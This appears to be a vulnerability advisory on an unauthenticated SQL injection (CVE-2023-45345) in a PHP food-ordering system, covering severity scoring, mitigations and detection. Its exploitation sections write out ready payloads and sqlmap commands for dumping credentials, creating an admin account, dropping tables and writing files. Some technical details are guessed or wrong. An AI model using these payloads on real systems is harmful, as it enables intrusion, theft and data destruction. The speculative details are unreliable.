Comprehensive Technical Analysis of EUVD-2023-49639 (CVE-2023-45345)

Unauthenticated SQL Injection in Online Food Ordering System v1.0

1. Vulnerability Assessment and Severity Evaluation

Vulnerability Overview

EUVD-2023-49639 (CVE-2023-45345) describes a critical unauthenticated SQL Injection (SQLi) vulnerability in the Online Food Ordering System v1.0, specifically in the *_deleted parameter of routers/user-router.php. The flaw arises from improper input validation, where user-supplied data is directly concatenated into SQL queries without sanitization or parameterization, allowing attackers to manipulate database queries.

CVSS v3.1 Severity Analysis

The vulnerability has been assigned a Base Score of 9.8 (Critical) with the following vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Metric	Value	Explanation
Attack Vector (AV)	Network (N)	Exploitable remotely over the internet.
Attack Complexity (AC)	Low (L)	No specialized conditions required; straightforward exploitation.
Privileges Required (PR)	None (N)	No authentication needed.
User Interaction (UI)	None (N)	No user interaction required.
Scope (S)	Unchanged (U)	Impact is confined to the vulnerable component.
Confidentiality (C)	High (H)	Full database access, including sensitive user data (e.g., credentials, PII).
Integrity (I)	High (H)	Arbitrary data modification (e.g., order manipulation, user privilege escalation).
Availability (A)	High (H)	Potential for database deletion, DoS, or service disruption.

Risk Assessment

• Exploitability: High (publicly disclosed, no authentication required, low complexity).
• Impact: Severe (full database compromise, unauthorized data access/modification, potential RCE via database functions).
• Likelihood of Exploitation: High (SQLi remains a top attack vector; automated tools like SQLmap can exploit this flaw).

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2. Potential Attack Vectors and Exploitation Methods

Attack Surface

The vulnerability resides in the *_deleted parameter of routers/user-router.php, which is likely used for soft-deletion functionality (e.g., marking users as "deleted" without removing records). Attackers can inject malicious SQL payloads via HTTP requests (e.g., GET/POST).

Exploitation Techniques

A. Basic SQL Injection (Data Extraction)

An attacker can craft a request to extract sensitive data:

GET /routers/user-router.php?*_deleted=1 AND 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,username,password,13,14 FROM users-- - HTTP/1.1
Host: vulnerable-target.com

• Impact: Retrieves usernames and password hashes (if stored in plaintext or weak hashing).
• Tools: SQLmap, Burp Suite, manual exploitation via cURL.

B. Database Schema Enumeration

Attackers can extract table structures:

*_deleted=1 AND 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,table_name,column_name,13,14 FROM information_schema.columns-- -

• Impact: Identifies all tables/columns for targeted data exfiltration.

C. Privilege Escalation

If the application uses a single database user with high privileges, attackers can:

*_deleted=1; INSERT INTO users (username, password, role) VALUES ('hacker', 'password123', 'admin')-- -

• Impact: Creates a new admin account for persistent access.

D. Remote Code Execution (RCE)

If the database supports out-of-band (OOB) interactions (e.g., MySQL LOAD_FILE(), PostgreSQL COPY), attackers may:

*_deleted=1; SELECT LOAD_FILE('/etc/passwd') INTO OUTFILE '/var/www/html/shell.php'-- -

• Impact: Writes a web shell for arbitrary command execution.

E. Denial of Service (DoS)

*_deleted=1; DROP TABLE users-- -

• Impact: Deletes critical tables, disrupting service.

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3. Affected Systems and Software Versions

Vulnerable Product

• Software: Online Food Ordering System
• Vendor: Projectworlds Pvt. Limited
• Version: v1.0 (confirmed vulnerable)
• Component: routers/user-router.php (specifically the *_deleted parameter)

Scope of Impact

• Deployment: Likely used by small-to-medium food delivery businesses, restaurants, or e-commerce platforms.
• Geographical Reach: Primarily affects European organizations using this software, but global exposure is possible.
• Dependencies: Requires a backend database (e.g., MySQL, PostgreSQL) and PHP.

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4. Recommended Mitigation Strategies

Immediate Remediation

1. Input Validation & Sanitization

   • Implement strict input validation for all user-supplied parameters.
   • Use whitelisting for expected values (e.g., *_deleted should only accept 0 or 1).

2. Prepared Statements (Parameterized Queries)

   • Replace dynamic SQL with prepared statements (e.g., PDO in PHP):

     $stmt = $pdo->prepare("UPDATE users SET deleted = :deleted WHERE id = :id");
     $stmt->execute([':deleted' => $deleted, ':id' => $id]);
     

3. Least Privilege Database Access

   • Restrict the database user’s permissions (e.g., no FILE privileges, read-only for non-critical operations).

4. Web Application Firewall (WAF) Rules

   • Deploy a WAF (e.g., ModSecurity) with SQLi protection rules (OWASP Core Rule Set).

5. Disable Dangerous Database Functions

   • Disable LOAD_FILE(), INTO OUTFILE, and other high-risk functions in the database configuration.

Long-Term Security Measures

1. Regular Security Audits

   • Conduct penetration testing and code reviews to identify similar vulnerabilities.

2. Dependency Management

   • Monitor for updates to the Online Food Ordering System and apply patches promptly.

3. Logging & Monitoring

   • Enable SQL query logging to detect injection attempts.
   • Implement SIEM integration for anomaly detection.

4. User Education

   • Train developers on secure coding practices (e.g., OWASP Top 10).

5. Alternative Solutions

   • Migrate to a modern, maintained food ordering system with built-in security controls.

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5. Impact on the European Cybersecurity Landscape

Regulatory Implications

• GDPR Compliance Risk:
  • Unauthorized access to Personally Identifiable Information (PII) (e.g., customer names, addresses, payment details) may result in GDPR violations, leading to fines up to €20 million or 4% of global revenue.
• NIS2 Directive:
  • Critical infrastructure (e.g., food delivery services) may fall under NIS2, requiring incident reporting and risk management measures.

Threat Landscape

• Targeted Attacks:
  • Cybercriminals may exploit this flaw to steal customer data for fraud or sell on dark web markets.
  • Ransomware groups could use SQLi as an initial access vector.
• Automated Exploitation:
  • Botnets (e.g., Mirai variants) may scan for vulnerable instances to deploy cryptominers or DDoS agents.
• Supply Chain Risks:
  • If the vendor (Projectworlds) supplies this software to multiple EU businesses, a single exploit could compromise numerous organizations.

Mitigation Challenges

• Legacy Systems:
  • Many small businesses may lack resources to patch or replace vulnerable software.
• Lack of Awareness:
  • Non-technical users may not recognize the severity of SQLi risks.
• Third-Party Dependencies:
  • If the software integrates with payment gateways or POS systems, the attack surface expands.

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6. Technical Details for Security Professionals

Vulnerability Root Cause

• Code Analysis (Hypothetical Example):

  // Vulnerable code snippet (likely in user-router.php)
  $deleted = $_GET['*_deleted'];
  $query = "UPDATE users SET deleted = $deleted WHERE id = $user_id";
  mysqli_query($conn, $query);
  

  • Issue: Direct string concatenation without sanitization or parameterization.

Exploitation Proof of Concept (PoC)

1. Identify the Vulnerable Parameter:

   • Use Burp Suite or OWASP ZAP to intercept requests to user-router.php.
   • Test for SQLi with payloads like:

     *_deleted=1 AND 1=1-- -
     *_deleted=1 AND 1=2-- -
     

   • Observe differences in responses (e.g., error messages, HTTP 500).

2. Automated Exploitation with SQLmap:

   sqlmap -u "http://vulnerable-target.com/routers/user-router.php?*_deleted=1" --batch --dbs
   

   • Flags:
     • --dbs: Enumerate databases.
     • --tables -D [database]: List tables in a database.
     • --dump: Extract data from tables.

3. Manual Exploitation (Time-Based Blind SQLi):

   *_deleted=1 AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -
   

   • If the response is delayed by 5 seconds, the server is vulnerable.

Post-Exploitation Actions

• Database Dumping:

  sqlmap -u "http://vulnerable-target.com/routers/user-router.php?*_deleted=1" --dump-all
  

• Privilege Escalation:
  • Check for database user privileges:

    SELECT user, host, Super_priv FROM mysql.user;
    

  • If FILE privilege is enabled, attempt file read/write:

    SELECT LOAD_FILE('/etc/passwd');
    

Detection & Forensics

• Log Analysis:
  • Look for unusual SQL queries in web server logs (e.g., UNION SELECT, SLEEP()).
  • Check for database error logs (e.g., MySQL error.log).
• Network Traffic Analysis:
  • Monitor for outbound data exfiltration (e.g., large responses to attacker-controlled IPs).
• Endpoint Detection:
  • Use EDR/XDR solutions to detect unexpected child processes (e.g., bash, powershell) spawned by the web server.

Hardening Recommendations

• PHP Configuration:
  • Disable display_errors in php.ini to prevent information leakage.
  • Enable open_basedir to restrict file access.
• Database Hardening:
  • Use least privilege for database users.
  • Disable remote access to the database if not required.
• Application-Level Protections:
  • Implement Content Security Policy (CSP) headers.
  • Use rate limiting to prevent brute-force attacks.

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Conclusion

EUVD-2023-49639 (CVE-2023-45345) represents a critical unauthenticated SQL Injection vulnerability in the Online Food Ordering System v1.0, posing severe risks to confidentiality, integrity, and availability. Given its CVSS 9.8 score, low attack complexity, and public exploitability, organizations using this software must immediately apply patches, implement input validation, and deploy WAF protections to mitigate risks.

For European entities, this vulnerability underscores the importance of proactive vulnerability management, GDPR compliance, and supply chain security to prevent data breaches and regulatory penalties. Security teams should prioritize this vulnerability in their remediation efforts and conduct thorough post-exploitation forensics if compromise is suspected.